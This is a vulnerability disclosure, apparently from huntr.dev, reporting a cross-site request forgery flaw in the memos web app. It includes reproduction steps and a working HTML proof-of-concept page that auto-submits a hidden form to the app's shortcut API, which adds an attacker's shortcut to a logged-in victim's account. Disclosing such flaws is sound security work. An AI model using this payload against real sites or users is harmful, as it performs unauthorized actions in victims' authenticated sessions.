CSRF to add shortcuts to victim account

2022-12-2813:22:52

nehalr777

www.huntr.dev

cross-site request forgery

web application

attack

authenticated user

demo.usememos.com

EPSS

0.001

Percentile

21.9%

JSON

Description

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user

Proof of Concept

1) Go to https://demo.usememos.com and login into your account 
2) Save the below CSRF POC as CSRF.html and open the file in the same browser 
3) You will see that the attackers shortcut has been added to victim account 

POC video: https://drive.google.com/file/d/1VzPaJ8WIdtncTiy9_HbWKfpy2aXq_xCs/view?usp=sharing

CSRF POC:

&lt;html&gt;
  
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://demo.usememos.com/api/shortcut" method="POST" enctype="text/plain"&gt;
      &lt;input type="hidden" name="&#123;&quot;title&quot;&#58;&quot;hacked&quot;&#44;&quot;payload&quot;&#58;&quot;&#91;&#93;&quot;&#125;" value="" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

EPSS

0.001

Percentile

21.9%

JSON

Related for 25DE88CC-8D0D-41A1-B069-9EF1327770BC